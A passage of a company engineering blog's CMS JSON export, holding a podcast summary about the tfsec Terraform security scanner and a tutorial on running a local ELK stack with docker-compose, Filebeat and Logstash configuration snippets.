techniques.",[],"rich_text$866efae2-9cb1-4583-ab8e-a1b7a96564bf",{"id":13814,"uid":13815,"url":13816,"type":406,"href":13817,"tags":13818,"first_publication_date":13040,"last_publication_date":13445,"slugs":13819,"linked_documents":13821,"lang":386,"alternate_languages":13822,"data":13823},"alz1JBEAAC4AUWgV","security-scanning-using-tfsec","\u002Fresources\u002Fengineering-blog\u002Fsecurity-scanning-using-tfsec","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1JBEAAC4AUWgV%22%29+%5D%5D",[],[13820],"ep-30-.tech---security-scanning-using-tfsec",[],[],{"title":13824,"excerpt":13825,"card_image":13826,"published_date":13831,"reading_time":672,"tag":427,"dek":13825,"featured_image":13832,"about_form3":13838,"client_about_heading":13,"client_about_body":13839,"author_name":1277,"author_title":1278,"author_photo":13840,"author_bio":13843,"author_linkedin":13846,"slices":13848,"meta_title":13824,"meta_description":13825},".tech Podcast - Security scanning using tfsec","Liam and Owen from Aqua Security join us to share their work on the open source static analysis tool, tfsec. They give us an introduction to infrastructure as code with terraform, then explain what are the common problems they are trying to solve with tfsec. Finally, they tell us all about getting started with tfsec and getting involved with the project.",{"dimensions":13827,"alt":13824,"copyright":13,"url":13828,"id":13829,"edit":13830},{"width":420,"height":420},"\u002F_prismic-media\u002F85b9d7fa1d0a398c-UOObyIJiEEbi_om__security-scanning-using-tfsec.p","UOObyIJiEEbi_om_",{"x":17,"y":17,"zoom":18,"background":19},"2022-04-27",{"dimensions":13833,"alt":13,"copyright":13,"url":13835,"id":13836,"edit":13837},{"width":1270,"height":13834},628,"\u002F_prismic-media\u002F74de2e16a2cf651d-GFC4G76z5x6FLB-u_e23a032b-f17d-4d1c-a315-19f3043.png","GFC4G76z5x6FLB-u",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":13841,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":13842},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[13844],{"type":396,"text":1287,"spans":13845},[],{"link_type":453,"key":13847,"url":1291,"target":456},"964e87bc-2b9e-454b-be51-7d1963cf105a",[13849,13869,13889,13915,13939,13958,13981],{"variation":459,"version":481,"items":13850,"primary":13851,"id":13868,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":13852,"body":13856,"cta_label":1304,"cta_link":13859,"aside_type":13,"aside_image":13862,"aside_video":13863,"aside_video_poster":13864,"aside_video_reduced_motion":13865,"aside_video_url":13,"aside_embed":13866,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":13867,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[13853],{"type":465,"text":13854,"spans":13855},"Ep 30 .tech - Security scanning using tfsec",[],[13857],{"type":396,"text":1302,"spans":13858},[],{"link_type":453,"key":13860,"url":13861},"36f6fdd1-2763-47bd-885b-2c3f05fe36ce","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-30-tech-security-scanning-using-tfsec-0F1S0q6r",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$670c0e87-b06a-4481-97b4-f1afc44555b7",{"variation":459,"version":460,"items":13870,"primary":13871,"id":13888,"slice_type":479,"slice_label":13},[],{"body":13872},[13873],{"type":396,"text":13874,"spans":13875}," Liam Galvin and Owen Rumney are open source developers at Aqua Security. They focus on image and infrastructure security scanning. Both actively working on tfsec, which is the tool we will be focusing on today.",[13876,13879,13882,13885],{"start":18,"end":1333,"type":744,"data":13877},{"link_type":453,"url":13878,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002F%E0%B2%A0%EF%BC%BF%E0%B2%A0\u002F",{"start":967,"end":1071,"type":744,"data":13880},{"link_type":453,"url":13881,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fowenrumney\u002F",{"start":2019,"end":1729,"type":744,"data":13883},{"link_type":453,"url":13884,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Faquasecteam\u002F",{"start":2297,"end":3252,"type":744,"data":13886},{"link_type":453,"url":13887,"target":456},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec","rich_text$17881aa0-7f5a-4672-8881-fe1105644fe9",{"variation":459,"version":460,"items":13890,"primary":13891,"id":13914,"slice_type":479,"slice_label":13},[],{"body":13892},[13893,13896,13900,13911],{"type":465,"text":13894,"spans":13895},"Infrastructure as code (IaC)",[],{"type":396,"text":13897,"spans":13898},"The opposite of infrastructure as code is setting up and maintaining your infrastructure in the cloud console. You will very quickly forget what and how you set up your resources. This is sometimes known as ClickOps.",[13899],{"start":2082,"end":3850,"type":780},{"type":396,"text":13901,"spans":13902},"On the other side, IaC uses tools like AWS CloudFormation, terraform or Pulumi to give you declarative code which you can execute idempotently. It gives a consistent, repeatable way of defining infrastructure. Checking in the code into source control also allows you to review and scale the working of the infrastructure across multiple teams.",[13903,13906,13908],{"start":587,"end":2638,"type":744,"data":13904},{"link_type":453,"url":13905,"target":456},"https:\u002F\u002Faws.amazon.com\u002Fcloudformation\u002F",{"start":2019,"end":518,"type":744,"data":13907},{"link_type":453,"url":6190,"target":456},{"start":1729,"end":601,"type":744,"data":13909},{"link_type":453,"url":13910,"target":456},"https:\u002F\u002Fwww.pulumi.com\u002F",{"type":396,"text":13912,"spans":13913},"Managing large infrastructures in the console is almost and impossible task, so IaC is the generally preferred solution.",[],"rich_text$b6783834-6b71-47d1-96a7-2d70f66efc76",{"variation":459,"version":460,"items":13916,"primary":13917,"id":13938,"slice_type":479,"slice_label":13},[],{"body":13918},[13919,13922,13929,13935],{"type":465,"text":13920,"spans":13921},"Terraform as an IaC tool",[],{"type":396,"text":13923,"spans":13924},"Terraform is a human readable and machine readable language. It is simple and it lets you define all kinds of resources. For example, with a few lines of code you can define an S3 bucket. However, these resources need to be configured correctly, which can be quite a complicated task.",[13925],{"start":765,"end":13926,"type":744,"data":13927},186,{"link_type":453,"url":13928,"target":456},"https:\u002F\u002Fregistry.terraform.io\u002Fproviders\u002Fhashicorp\u002Faws\u002Flatest\u002Fdocs\u002Fresources\u002Fs3_bucket#private-bucket-w-tags",{"type":396,"text":13930,"spans":13931},"Third party Terraform modules allow us to package up definitions of everything from a simple resource to an entire systems. Using industry standard modules are a great way to ensure that your resources are secure as well.",[13932],{"start":1333,"end":586,"type":744,"data":13933},{"link_type":453,"url":13934,"target":456},"https:\u002F\u002Fwww.terraform.io\u002Fregistry\u002Fmodules\u002Fuse",{"type":396,"text":13936,"spans":13937},"Modules are also a great way to enable teams to do things in a standard way. For example, you could have the central platform team creating a bastion module, which other teams within the same organisation can leverage in their work.",[],"rich_text$5ddee78d-cdd9-44b0-a780-9acfb7d1b13e",{"variation":459,"version":460,"items":13940,"primary":13941,"id":13957,"slice_type":479,"slice_label":13},[],{"body":13942},[13943,13946,13952],{"type":465,"text":13944,"spans":13945},"Common problems with IaC",[],{"type":396,"text":13947,"spans":13948},"There are a lot of examples where misconfigurations have caused large issues, either compliance or financial issues. Using the example of the S3 bucket, we could set an ACL on the bucket for authenticated reads. We would assume that this means authenticated users in our own account would be able to read the bucket. However, once we read the docs, we'd realise that any user authenticated in any account would be able to read the bucket, which could be a potentially huge security issue.",[13949],{"start":852,"end":2393,"type":744,"data":13950},{"link_type":453,"url":13951,"target":456},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonS3\u002Flatest\u002Fuserguide\u002Facl-overview.html",{"type":396,"text":13953,"spans":13954},"These kinds of issues happen often and is one of the reasons tfsec was created.",[13955],{"start":3242,"end":1520,"type":744,"data":13956},{"link_type":453,"url":13887,"target":456},"rich_text$9828822c-2dd8-49ac-9fff-189228080fa2",{"variation":459,"version":460,"items":13959,"primary":13960,"id":13980,"slice_type":479,"slice_label":13},[],{"body":13961},[13962,13965,13971,13974],{"type":465,"text":13963,"spans":13964},"What is tfsec?",[],{"type":396,"text":13966,"spans":13967},"tfsec is an open source static code analysis tool written in Go. Terraform itself is written in Go, so tfsec was able to use their parser to find patterns in configuration. tfsec works in a similar way to the Terraform CI tool as well, making it a reliable tool. tfsec tries to analyze code as close to the Terraform process as possible, analysing the output HCL code. This makes it easier to resolve the executed state of the code, as opposed to its snapshot state.",[13968],{"start":3242,"end":1734,"type":744,"data":13969},{"link_type":453,"url":13970,"target":456},"https:\u002F\u002Fgo.dev\u002F",{"type":396,"text":13972,"spans":13973},"Other tools had to use regular expressions instead, which is more difficult to build. Regular expressions are suitable for easy pattern matching, but an unsustainable tool for more complicated rules.",[],{"type":396,"text":13975,"spans":13976},"tfsec also uses custom checks to identify the particular line that causes the misconfiguration. It can write comments on PRs to let you know what needs fixing. Initially, the functionality was built together with the parser. This has been refactored to analyze the intermediary state of resources, without being tied to provider specific functionality and making it suitable to a variety of providers.",[13977],{"start":595,"end":586,"type":744,"data":13978},{"link_type":453,"url":13979,"target":456},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec#included-checks","rich_text$f6482d4d-98ac-4f39-9882-3debed57b1c5",{"variation":459,"version":460,"items":13982,"primary":13983,"id":14016,"slice_type":479,"slice_label":13},[],{"body":13984},[13985,13988,13994,14001,14010],{"type":465,"text":13986,"spans":13987},"Maintaining tfsec",[],{"type":396,"text":13989,"spans":13990},"Terraform has a lot of quickly changing providers. The great community around tfsec steps in and are able to help with making all the required changes. tfsec is frequently released and has a great turnover for bug fixing.",[13991],{"start":1049,"end":6376,"type":744,"data":13992},{"link_type":453,"url":13993,"target":456},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec\u002Freleases",{"type":396,"text":13995,"spans":13996},"If you are using tfsec, then you can use the standard checks, but also write your own custom checks that suit your needs. The team would be greatful if you could share any checks that might be useful to the rest of the community as well. Recently, tfsec also has support for Rego.",[13997],{"start":13998,"end":8035,"type":744,"data":13999},275,{"link_type":453,"url":14000,"target":456},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Frego\u002Frego\u002F",{"type":396,"text":14002,"spans":14003},"Read more about getting started and writing custom checks.",[14004,14007],{"start":595,"end":2585,"type":744,"data":14005},{"link_type":453,"url":14006},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Fquickstart\u002F",{"start":546,"end":2638,"type":744,"data":14008},{"link_type":453,"url":14009,"target":456},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Fconfiguration\u002Fcustom-checks\u002F",{"type":396,"text":14011,"spans":14012},"tfsec integrates with Aqua Security Trivy which allows you to scan a wide variety of resources, not just terraform.",[14013],{"start":579,"end":580,"type":744,"data":14014},{"link_type":453,"url":14015,"target":456},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftrivy","rich_text$89b4b07c-724e-4068-a629-3e67525e46f5",{"id":14018,"uid":14019,"url":14020,"type":406,"href":14021,"tags":14022,"first_publication_date":14023,"last_publication_date":13445,"slugs":14024,"linked_documents":14026,"lang":386,"alternate_languages":14027,"data":14028},"alz1JxEAACsAUWgm","running-elk-locally-to-interrogate-container-logs","\u002Fresources\u002Fengineering-blog\u002Frunning-elk-locally-to-interrogate-container-logs","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1JxEAACsAUWgm%22%29+%5D%5D",[],"2026-07-19T16:21:52+0000",[14025],"running-a-local-elk-stack-usingdocker-compose",[],[],{"title":14029,"excerpt":14030,"card_image":14031,"published_date":14036,"reading_time":4811,"tag":427,"dek":14030,"featured_image":14037,"about_form3":14042,"client_about_heading":13,"client_about_body":14043,"author_name":1594,"author_title":1595,"author_photo":14044,"author_bio":14047,"author_linkedin":14052,"slices":14054,"meta_title":14029,"meta_description":14427},"Running ELK locally to interrogate container logs","Andy Kuszyk, Head of International Engineering, talks us through running ELK locally to interrogate container logs. This post ties together all his learnings about running a local ELK stack and configuring Filebeat locally. At the end, we'll be able to run a local ELK stack with Docker compose.",{"dimensions":14032,"alt":14029,"copyright":13,"url":14033,"id":14034,"edit":14035},{"width":420,"height":420},"\u002F_prismic-media\u002F8100f4fe7ef8545d-GORep7atoYiN_JFJ_running-elk-locally-to-interrog.png","GORep7atoYiN_JFJ",{"x":17,"y":17,"zoom":18,"background":19},"2022-04-20",{"dimensions":14038,"alt":13,"copyright":13,"url":14039,"id":14040,"edit":14041},{"width":1270,"height":9083},"\u002F_prismic-media\u002F6f3bd225aaf2921e-jb19rcfNedoq46aL_70c2bfd9-dc98-4078-af0b-c9ec5fe.png","jb19rcfNedoq46aL",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":14045,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":14046},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[14048],{"type":396,"text":1603,"spans":14049},[14050],{"start":1606,"end":1607,"type":744,"data":14051},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":14053,"url":1612,"target":456},"4b9aacba-8c3e-48f6-8cb6-fbdd858a4819",[14055,14089,14102,14110,14120,14128,14136,14144,14156,14164,14172,14180,14189,14210,14217,14225,14233,14241,14249,14258,14266,14274,14282,14294,14301,14309,14318,14326,14334,14346,14363,14371,14380,14394,14402,14411],{"variation":459,"version":460,"items":14056,"primary":14057,"id":14088,"slice_type":479,"slice_label":13},[],{"body":14058},[14059,14062,14071,14077],{"type":396,"text":14060,"spans":14061},"I recently needed to investigate an issue on a development environment that had been highlighted by way of visualisations in Kibana based on application specific logs. The logs themselves were structured as JSON and contained some important metrics about the application's performance. In order to investigate this issue locally, I needed to run the application under similar conditions to the real environment and analyse the logs with a similar visualisation to production.",[],{"type":396,"text":14063,"spans":14064},"Unfortunately, although running the application locally was reasonably easy, replicating the log ingestion pipeline was less-so. We run load tests in our CI pipeline using f1, so I could use our local test environment to run load through the application. However, our log processing pipeline involves integration between AWS, Fluentd and Logz. When I ran the application locally, all of the log output was just dumped to my terminal's stdout, which made it really hard to analyse. All I really wanted to do was pickup the logs from the stdout, parse their JSON content, and ingest them into an Elasticsearch database. This would mimic what we do in real life, and would allow me to analyse them in Kibana.",[14065,14066,14067,14069],{"start":2103,"end":7824,"type":780},{"start":5388,"end":432,"type":780},{"start":5388,"end":432,"type":744,"data":14068},{"link_type":453,"url":4367},{"start":14070,"end":7955,"type":780},435,{"type":396,"text":14072,"spans":14073},"In other words, I just wanted to run a local ELK stack.",[14074],{"start":1346,"end":2041,"type":744,"data":14075},{"link_type":453,"url":14076},"https:\u002F\u002Fwww.elastic.co\u002Felk-stack",{"type":396,"text":14078,"spans":14079},"It turns out, this was quite easy to achieve, and - whilst there are plenty of examples out there on the internet - this post ties together my learnings in a simple way. If you just want to jump to the implementation, you can clone https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk and run docker-compose up. Don't forget to checkout the README.md.",[14080,14084,14086],{"start":11384,"end":14081,"type":744,"data":14082},271,{"link_type":453,"url":14083},"https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Flocal-elk",{"start":14085,"end":6475,"type":780},280,{"start":4598,"end":14087,"type":780},337,"rich_text$badcc870-d25f-4689-ada7-7f717a991fcb",{"variation":459,"version":460,"items":14090,"primary":14091,"id":14101,"slice_type":479,"slice_label":13},[],{"body":14092},[14093,14096],{"type":465,"text":14094,"spans":14095},"Running a local ELK stack using docker-compose",[],{"type":396,"text":14097,"spans":14098},"It's pretty easy to get a local ELK stack up and running using docker-compose. The following docker-compose.yml file demonstrates this:",[14099,14100],{"start":1734,"end":708,"type":780},{"start":5029,"end":2475,"type":780},"rich_text$fce9e806-8daf-4e0f-b49d-8a9d48f6faec",{"variation":459,"version":460,"items":14103,"primary":14104,"id":14109,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14105},[14106],{"type":563,"text":14107,"spans":14108},"version: \"3.3\"\n\nservices:\n  elasticsearch:\n    image: elasticsearch:7.2.0\n    environment:\n      - discovery.type=single-node\n    ports:\n      - \"9200:9200\"\n      - \"9300:9300\"\n    volumes:\n      - esdata1:\u002Fusr\u002Fshare\u002Felasticsearch\u002Fdata",[],"code_block$896694de-59b8-4e34-a0be-d0a68c0b696e",{"variation":459,"version":460,"items":14111,"primary":14112,"id":14119,"slice_type":479,"slice_label":13},[],{"body":14113},[14114],{"type":396,"text":14115,"spans":14116},"The \u002Fusr\u002Fshare\u002Felasticsearch\u002Fdata directory is mounted into a named volume here (see the end of the docker-compose.yml file) so that the data stored in Elasticsearch is persisted between instances of the container. This is useful if you're starting up and tearing down the compose file regularly and don't want to re-create things like Kibana configuration. It also preserves all your previous logs.",[14117,14118],{"start":667,"end":685,"type":780},{"start":2296,"end":1535,"type":780},"rich_text$e6f0b187-b124-48e6-9ab1-82ac056aee92",{"variation":459,"version":460,"items":14121,"primary":14122,"id":14127,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14123},[14124],{"type":563,"text":14125,"spans":14126},"kibana:\n    image: kibana:7.2.0\n    ports:\n      - \"5601:5601\"",[],"code_block$571abaa5-68e2-4834-84be-01094d2646ef",{"variation":459,"version":460,"items":14129,"primary":14130,"id":14135,"slice_type":479,"slice_label":13},[],{"body":14131},[14132],{"type":396,"text":14133,"spans":14134},"No additional config is required for Kibana, the vanilla Docker image is fine.",[],"rich_text$4619a715-25a8-4334-9d31-a12ccf332177",{"variation":459,"version":460,"items":14137,"primary":14138,"id":14143,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14139},[14140],{"type":563,"text":14141,"spans":14142},"logstash:\n    build: logstash\n    ports:\n      - \"5044:5044\"",[],"code_block$e2d394d2-fd6c-459d-87b2-a13abac7e600",{"variation":459,"version":460,"items":14145,"primary":14146,"id":14155,"slice_type":479,"slice_label":13},[],{"body":14147},[14148],{"type":396,"text":14149,"spans":14150},"A custom configuration for Logstash is useful here, so build: logstash instructs docker-compose to use the Dockerfile in the .\u002Flogstash directory. See later for details.",[14151,14152,14153,14154],{"start":599,"end":7824,"type":780},{"start":6501,"end":641,"type":780},{"start":4147,"end":8118,"type":780},{"start":973,"end":3249,"type":780},"rich_text$f8041b8c-10eb-40ac-ad83-3e1af220bd41",{"variation":459,"version":460,"items":14157,"primary":14158,"id":14163,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14159},[14160],{"type":563,"text":14161,"spans":14162},"filebeat:\n    build: filebeat\n    user: root\n    environment:\n      - setup.kibana.host=kibana:5601\n      - output.elasticsearch.hosts=[\"elasticsearch:9200\"]\n      - strict.perms=false\n    volumes:\n      - type: bind\n        source: \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\n        target: \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\n      - type: bind\n        source: \u002Fvar\u002Frun\u002Fdocker.sock\n        target: \u002Fvar\u002Frun\u002Fdocker.sock\n        mode: ro",[],"code_block$af859531-3371-4573-93d8-e613b220c8c3",{"variation":459,"version":460,"items":14165,"primary":14166,"id":14171,"slice_type":479,"slice_label":13},[],{"body":14167},[14168],{"type":396,"text":14169,"spans":14170},"As with Logstash, a custom configuration for Filebeat is useful here. Furthermore, we're giving Filebeat access to the Docker daemon on your local host so that it can interrogate information about containers directly and retrieve their logs.",[],"rich_text$82ff072c-1335-416b-8e18-3a96640924f7",{"variation":459,"version":460,"items":14173,"primary":14174,"id":14179,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14175},[14176],{"type":563,"text":14177,"spans":14178},"volumes:\n  esdata1:",[],"code_block$e3b31050-5be9-4bf1-b3ff-f047ec6ba6fe",{"variation":459,"version":460,"items":14181,"primary":14182,"id":14188,"slice_type":479,"slice_label":13},[],{"body":14183},[14184],{"type":396,"text":14185,"spans":14186},"Finally, this is the named volume in use by the elasticsearch service.",[14187],{"start":516,"end":3242,"type":780},"rich_text$ef51e4a3-9087-4cee-a278-5b2cfa0fcc99",{"variation":459,"version":460,"items":14190,"primary":14191,"id":14209,"slice_type":479,"slice_label":13},[],{"body":14192},[14193,14196,14199,14202,14205],{"type":465,"text":14194,"spans":14195},"Configuring Logstash for use locally",[],{"type":396,"text":14197,"spans":14198},"Its useful to do two things to configure Logstash for your local ELK setup:",[],{"type":582,"text":14200,"spans":14201},"Provide a custom Logstash pipeline definition for any specific log parsing you might want to do;",[],{"type":582,"text":14203,"spans":14204},"Override the default Logstash Docker entrypoint to reduce the amount of noise in your logs.",[],{"type":396,"text":14206,"spans":14207},"This is achieved through three files in a .\u002Flogstash directory.",[14208],{"start":773,"end":547,"type":780},"rich_text$e8275ef4-87f9-43da-a638-26f950e177e6",{"variation":459,"version":460,"items":14211,"primary":14212,"id":14216,"slice_type":479,"slice_label":13},[],{"body":14213},[14214],{"type":465,"text":9217,"spans":14215},[],"rich_text$ea4656e1-f8f5-41d0-8dd3-8d9d0a8d443c",{"variation":459,"version":460,"items":14218,"primary":14219,"id":14224,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14220},[14221],{"type":563,"text":14222,"spans":14223},"FROM docker.elastic.co\u002Flogstash\u002Flogstash:7.2.0\nCOPY pipeline.conf \u002Fusr\u002Fshare\u002Flogstash\u002Fpipeline\u002Fpipeline.conf\nCOPY entrypoint.sh .\u002Fentrypoint.sh\nCMD .\u002Fentrypoint.sh",[],"code_block$59b2cc12-97de-4b9c-9da6-0d71cd9d073d",{"variation":459,"version":460,"items":14226,"primary":14227,"id":14232,"slice_type":479,"slice_label":13},[],{"body":14228},[14229],{"type":396,"text":14230,"spans":14231},"This file uses the base Logstash Docker image and copies in the two other files mentioned here, overriding the entrypoint.",[],"rich_text$35dc498b-7ffd-42af-92d4-7a62146a9e7e",{"variation":459,"version":460,"items":14234,"primary":14235,"id":14240,"slice_type":479,"slice_label":13},[],{"body":14236},[14237],{"type":465,"text":14238,"spans":14239},"entrypoint.sh",[],"rich_text$561c2b2d-eff5-43b2-9359-00962a280968",{"variation":459,"version":460,"items":14242,"primary":14243,"id":14248,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14244},[14245],{"type":563,"text":14246,"spans":14247},"#!\u002Fbin\u002Fbash\n\n# To prevent the logs from logstash itself from spamming filebeat, we re-direct\n# the stdout from logstash to \u002Fdev\u002Fnull here. If you need to see the output from\n# logstash when debugging, remove this re-direct.\nlogstash > \u002Fdev\u002Fnull",[],"code_block$d39fdd69-afe9-4a2c-9a58-8a10984bb283",{"variation":459,"version":460,"items":14250,"primary":14251,"id":14257,"slice_type":479,"slice_label":13},[],{"body":14252},[14253],{"type":396,"text":14254,"spans":14255},"This file simply re-directs the Logstash output to \u002Fdev\u002Fnull. By default, Logstash outputs information for every message that it parses which adds a lot of noise to the logs ingested into Elasticsearch.",[14256],{"start":1326,"end":2103,"type":780},"rich_text$e73b93dc-13b2-4f55-a60a-1704d28fd02f",{"variation":459,"version":460,"items":14259,"primary":14260,"id":14265,"slice_type":479,"slice_label":13},[],{"body":14261},[14262],{"type":465,"text":14263,"spans":14264},"pipeline.conf",[],"rich_text$a320b9d4-5ab7-4863-ab52-1026dc14283f",{"variation":459,"version":460,"items":14267,"primary":14268,"id":14273,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14269},[14270],{"type":563,"text":14271,"spans":14272},"input {\n  beats {\n    port => 5044\n  }\n}\nfilter {\n  # Your custom expressions here.\n}\noutput {\n  elasticsearch { hosts => [\"elasticsearch:9200\"] }\n}",[],"code_block$5c41ccd9-8961-47cf-a794-4ede334628e2",{"variation":459,"version":460,"items":14275,"primary":14276,"id":14281,"slice_type":479,"slice_label":13},[],{"body":14277},[14278],{"type":396,"text":14279,"spans":14280},"For now, this pipeline definition does nothing more than pass on your log messages from Filebeat to Elasticsearch, however it can be useful for more advanced processing of your log messages. See later for details.",[],"rich_text$7f1c24d0-f39a-4ff1-89df-59c0d6dcb616",{"variation":459,"version":460,"items":14283,"primary":14284,"id":14293,"slice_type":479,"slice_label":13},[],{"body":14285},[14286,14289],{"type":465,"text":14287,"spans":14288},"Configuring Filebeat for use locally",[],{"type":396,"text":14290,"spans":14291},"Filebeat needs some basic configuration to allow it to automatically read information from Docker about containers and their logs as well as to work with Logstash to send the log messages to Elasticsearch. This is achieved through two files in the .\u002Ffilebeat directory.",[14292],{"start":2501,"end":13612,"type":780},"rich_text$f0c11f2d-bd2c-48c7-a3bb-3e83fba10115",{"variation":459,"version":460,"items":14295,"primary":14296,"id":14300,"slice_type":479,"slice_label":13},[],{"body":14297},[14298],{"type":465,"text":9217,"spans":14299},[],"rich_text$2cd872cf-9230-4fed-8f29-0c7a43c93af7",{"variation":459,"version":460,"items":14302,"primary":14303,"id":14308,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14304},[14305],{"type":563,"text":14306,"spans":14307},"FROM docker.elastic.co\u002Fbeats\u002Ffilebeat:7.2.0\nCOPY filebeat.yml \u002Fusr\u002Fshare\u002Ffilebeat\u002F",[],"code_block$aba8315d-98ff-41fb-a47d-74066a2b6d7a",{"variation":459,"version":460,"items":14310,"primary":14311,"id":14317,"slice_type":479,"slice_label":13},[],{"body":14312},[14313],{"type":396,"text":14314,"spans":14315},"This Dockerfile simply uses the base Docker image and copies in the configuration file in this directory.",[14316],{"start":672,"end":595,"type":780},"rich_text$45e085c7-a24f-4e28-af87-5fc60546d9a3",{"variation":459,"version":460,"items":14319,"primary":14320,"id":14325,"slice_type":479,"slice_label":13},[],{"body":14321},[14322],{"type":465,"text":14323,"spans":14324},"filebeat.yml",[],"rich_text$5d262ea0-46e7-4751-bdea-43e7d7a20d0d",{"variation":459,"version":460,"items":14327,"primary":14328,"id":14333,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14329},[14330],{"type":563,"text":14331,"spans":14332},"filebeat.config:\n  modules:\n    path: ${path.config}\u002Fmodules.d\u002F*.yml\n    reload.enabled: false\n\nfilebeat.autodiscover:\n  providers:\n    - type: docker\n      hints.enabled: true\n\noutput.logstash:\n  hosts: 'logstash:5044'",[],"code_block$84154ee1-79e3-4957-914e-a1627105b4f1",{"variation":459,"version":460,"items":14335,"primary":14336,"id":14345,"slice_type":479,"slice_label":13},[],{"body":14337},[14338,14342],{"type":396,"text":14339,"spans":14340},"The guts of this file are in the filebeat.autodiscover directive, which instructs Filebeat to source its logs from Docker. The output directive simply tells Filebeat to send its logs to Logstash, rather than directly to Elasticsearch.",[14341],{"start":685,"end":2041,"type":780},{"type":396,"text":14343,"spans":14344},"If you're logs are structured - for example, as JSON - this configuration can be extended to parse them. See later for details.",[],"rich_text$be571c28-f412-4dc0-856a-d1a116fe22c0",{"variation":459,"version":460,"items":14347,"primary":14348,"id":14362,"slice_type":479,"slice_label":13},[],{"body":14349},[14350,14353,14358],{"type":465,"text":14351,"spans":14352},"What if my logs need parsing? e.g. they're JSON.",[],{"type":396,"text":14354,"spans":14355},"If your logs need parsing, this can be achieved in the .\u002Ffilebeat\u002Ffilebeat.yml config or in the .\u002Flogstash\u002Fpipeline.conf depending on which approach you'd like to take (Filebeat vs. Logstash).",[14356,14357],{"start":599,"end":601,"type":780},{"start":9702,"end":2069,"type":780},{"type":396,"text":14359,"spans":14360},"If your logs are structured as JSON, the simplest thing to do is get Filebeat to parse them. An example filebeat.yml is as follows:",[14361],{"start":1531,"end":1443,"type":780},"rich_text$271b5e46-f818-4c91-9318-dc9dcbdb8fc1",{"variation":459,"version":460,"items":14364,"primary":14365,"id":14370,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14366},[14367],{"type":563,"text":14368,"spans":14369},"filebeat.config:\n  modules:\n    path: ${path.config}\u002Fmodules.d\u002F*.yml\n    reload.enabled: false\n\nfilebeat.autodiscover:\n  providers:\n    - type: docker\n      hints.enabled: true\n      templates:\n        - condition:\n            contains:\n              docker.container.image: YOUR_CONTAINER_NAME \n          config:\n          - type: docker\n            containers.ids:\n              - \"${data.docker.container.id}\"\n            json.keys_under_root: true\n            json.add_error_key: true\n\noutput.logstash:\n  hosts: 'logstash:5044'",[],"code_block$33ed3156-5cec-4e3b-a537-a1f5cd7ef123",{"variation":459,"version":460,"items":14372,"primary":14373,"id":14379,"slice_type":479,"slice_label":13},[],{"body":14374},[14375],{"type":396,"text":14376,"spans":14377},"In this example, replace YOUR_CONTAINER_NAME with part of your container's image name. This will instruct Filebeat to only try parsing structured logs for your particular container (and avoid it trying to parse unstructured logs).",[14378],{"start":2118,"end":2015,"type":780},"rich_text$6666f516-312e-41bc-a3aa-8887aa5cd78c",{"variation":459,"version":460,"items":14381,"primary":14382,"id":14393,"slice_type":479,"slice_label":13},[],{"body":14383},[14384,14387],{"type":465,"text":14385,"spans":14386},"What if my logs are not parsed correctly?",[],{"type":396,"text":14388,"spans":14389},"Often, Filebeat does an alright job of parsing your logs, but might get things like datatypes wrong. Parsing the correct datatypes (or anything else more complicated) cannot be done in Filebeat, but a simple pipeline in Logstash can be used. An example pipeline.conf demonstrates this:",[14390,14391],{"start":1381,"end":2585,"type":477},{"start":14392,"end":8948,"type":780},253,"rich_text$7926e3a6-0691-41c2-9ea8-08298ddb57a9",{"variation":459,"version":460,"items":14395,"primary":14396,"id":14401,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":14397},[14398],{"type":563,"text":14399,"spans":14400},"input {\n  beats {\n    port => 5044\n  }\n}\nfilter {\n  mutate {\n    convert => {\n      \"YOUR_NUMERIC_FIELD\" => \"integer\"\n    }\n  }\n}\noutput {\n  elasticsearch { hosts => [\"elasticsearch:9200\"] 